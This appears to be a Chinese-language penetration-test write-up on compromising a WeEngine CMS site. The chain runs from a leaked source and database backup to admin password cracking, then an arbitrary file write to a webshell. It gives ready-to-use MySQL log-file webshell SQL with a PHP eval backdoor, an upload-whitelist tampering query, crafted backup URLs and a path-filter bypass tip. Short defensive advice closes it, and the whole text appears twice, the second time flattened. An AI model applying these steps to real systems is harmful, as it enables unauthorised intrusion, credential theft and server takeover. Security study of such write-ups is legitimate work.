记一次从源代码泄漏到后台获取webshell的过程
字数 1603 2025-08-09 23:12:49

从源代码泄漏到后台获取WebShell的完整渗透过程

0x01 前言

本文详细记录了一次从发现源代码泄漏到最终获取WebShell的完整渗透测试过程。目标系统使用的是微擎CMS,通过分析备份文件、密码加密机制、数据库操作和代码审计,最终实现了权限提升。

0x02 初始信息获取

1. 发现源代码泄漏

  • 发现网站备份文件,包含完整源代码和数据库备份
  • 确认系统使用微擎CMS

2. 数据库分析

  • 数据库备份路径:data/backup/
  • 关键用户表:ims_users
  • 包含字段:用户名、加密密码、salt值

0x03 密码破解与后台登录

1. 密码加密机制分析

forget.ctrl.php中找到密码加密算法:

$password = md5($password . $member_info['salt'] . $_W['config']['setting']['authkey']);
  • 加密方式:原密码 + salt + authkey拼接后进行MD5
  • authkey位置:data/config.php

2. 密码破解步骤

  1. 从数据库获取加密密码、salt
  2. data/config.php获取authkey
  3. 将salt和authkey拼接为新salt
  4. 使用md5(\(pass.\)salt)方式暴力破解

0x04 WebShell获取尝试

1. 方法一:修改上传限制

  1. 后台路径:站点管理→附件设置→图片附件设置
  2. 添加任意文件类型(如pppppp)
  3. 执行SQL:
UPDATE ims_core_settings SET value = replace(value, 'pppppp', 'php ')
  1. 限制:仅适用于Apache,且目标使用腾讯云COS和Tengine

2. 方法二:日志文件写Shell

show variables like '%general%';
set global general_log = on;
set global general_log_file = '/var/www/html/1.php';
select '<?php eval($_POST[cmd]);?>'

或使用慢查询日志:

set global slow_query_log = on;
set global slow_query_log_file = '/var/www/html/shell.php';
select '<?php phpinfo();?>' or sleep(11);

限制:目标系统执行失败

0x05 代码审计深入分析

1. 关键文件分析

web/source/cloud/dock.ctrl.php中的download方法:

  1. 接收Base64编码的请求数据
  2. 反序列化数据获取$ret数组
  3. Base64解码$ret['file']
  4. 使用gzuncompress解压(如果可用)
  5. 验证签名:md5(\(file + \)ret['path'] + $_W['setting']['site']['token'])
  6. 根据$ret['path']写入文件

2. 关键参数获取

  • $_W['setting']['site']['token']通过解密cache_load(cache_system_key('cloud_transtoken'))获得
  • 解密使用authcode函数,依赖$GLOBALS['_W']['config']['setting']['authkey']

3. cloud_transtoken获取方法

  1. 访问触发写入的URL:
http://ip:port/web/index.php?c=cloud&a=profile
  1. 调用链:
cloud_profile() → cloud_site_info() → cloud_api('site/info') → cloud_build_transtoken()
  1. 结果:将cloud_transtoken写入数据库

4. 自定义数据库备份

  1. 标准备份路径不可控:
    • 文件夹:时间戳_8位随机字符串
    • 文件名:volume-10位随机字符串-1.sql
  2. 自定义备份URL:
http://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456
  1. 结果文件路径:
http://ip:port/data/backup/123/volume-456-1.sql

0x06 WebShell最终获取

1. 利用条件

  1. 拥有管理员权限账户
  2. 站点已注册云服务

2. 利用步骤

  1. 登录后台
  2. 访问URL写入cloud_transtoken:
http://ip:port/web/index.php?c=cloud&a=profile
  1. 自定义数据库备份获取token:
http://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456
  1. 构造payload并请求:
http://ip:port/web/index.php?c=cloud&a=dock&do=download

3. 替代方案(无文件备份时)

  1. 使用"木马查杀"功能
  2. 拦截请求修改参数:
    • 查杀目录:data/.
    • 特征函数:password
  3. 从结果中获取authkey
  4. 注意:最新版(v2.5.7)有路径过滤,Windows可尝试大写绕过

0x07 总结

漏洞利用链

  1. 获取源代码和数据库备份
  2. 分析密码加密机制并破解
  3. 登录后台获取管理员权限
  4. 触发cloud_transtoken写入数据库
  5. 自定义备份获取token
  6. 构造payload实现任意文件写入

防御建议

  1. 避免源代码和数据库备份暴露
  2. 加强密码加密机制(如使用更强哈希算法)
  3. 限制数据库操作权限
  4. 对文件写入操作进行严格校验
  5. 及时更新CMS版本
  6. 实施严格的输入过滤和权限控制
从源代码泄漏到后台获取WebShell的完整渗透过程 0x01 前言 本文详细记录了一次从发现源代码泄漏到最终获取WebShell的完整渗透测试过程。目标系统使用的是微擎CMS,通过分析备份文件、密码加密机制、数据库操作和代码审计,最终实现了权限提升。 0x02 初始信息获取 1. 发现源代码泄漏 发现网站备份文件,包含完整源代码和数据库备份 确认系统使用微擎CMS 2. 数据库分析 数据库备份路径: data/backup/ 关键用户表: ims_users 包含字段:用户名、加密密码、salt值 0x03 密码破解与后台登录 1. 密码加密机制分析 在 forget.ctrl.php 中找到密码加密算法: 加密方式:原密码 + salt + authkey拼接后进行MD5 authkey 位置: data/config.php 2. 密码破解步骤 从数据库获取加密密码、salt 从 data/config.php 获取authkey 将salt和authkey拼接为新salt 使用md5($pass.$salt)方式暴力破解 0x04 WebShell获取尝试 1. 方法一:修改上传限制 后台路径:站点管理→附件设置→图片附件设置 添加任意文件类型(如pppppp) 执行SQL: 限制:仅适用于Apache,且目标使用腾讯云COS和Tengine 2. 方法二:日志文件写Shell 或使用慢查询日志: 限制:目标系统执行失败 0x05 代码审计深入分析 1. 关键文件分析 web/source/cloud/dock.ctrl.php 中的download方法: 接收Base64编码的请求数据 反序列化数据获取$ret数组 Base64解码$ret[ 'file' ] 使用gzuncompress解压(如果可用) 验证签名:md5($file + $ret[ 'path'] + $_ W[ 'setting'][ 'site'][ 'token' ]) 根据$ret[ 'path' ]写入文件 2. 关键参数获取 $_W['setting']['site']['token'] 通过解密 cache_load(cache_system_key('cloud_transtoken')) 获得 解密使用 authcode 函数,依赖 $GLOBALS['_W']['config']['setting']['authkey'] 3. cloud_ transtoken获取方法 访问触发写入的URL: 调用链: 结果:将cloud_ transtoken写入数据库 4. 自定义数据库备份 标准备份路径不可控: 文件夹:时间戳_ 8位随机字符串 文件名:volume-10位随机字符串-1.sql 自定义备份URL: 结果文件路径: 0x06 WebShell最终获取 1. 利用条件 拥有管理员权限账户 站点已注册云服务 2. 利用步骤 登录后台 访问URL写入cloud_ transtoken: 自定义数据库备份获取token: 构造payload并请求: 3. 替代方案(无文件备份时) 使用"木马查杀"功能 拦截请求修改参数: 查杀目录:data/. 特征函数:password 从结果中获取authkey 注意:最新版(v2.5.7)有路径过滤,Windows可尝试大写绕过 0x07 总结 漏洞利用链 获取源代码和数据库备份 分析密码加密机制并破解 登录后台获取管理员权限 触发cloud_ transtoken写入数据库 自定义备份获取token 构造payload实现任意文件写入 防御建议 避免源代码和数据库备份暴露 加强密码加密机制(如使用更强哈希算法) 限制数据库操作权限 对文件写入操作进行严格校验 及时更新CMS版本 实施严格的输入过滤和权限控制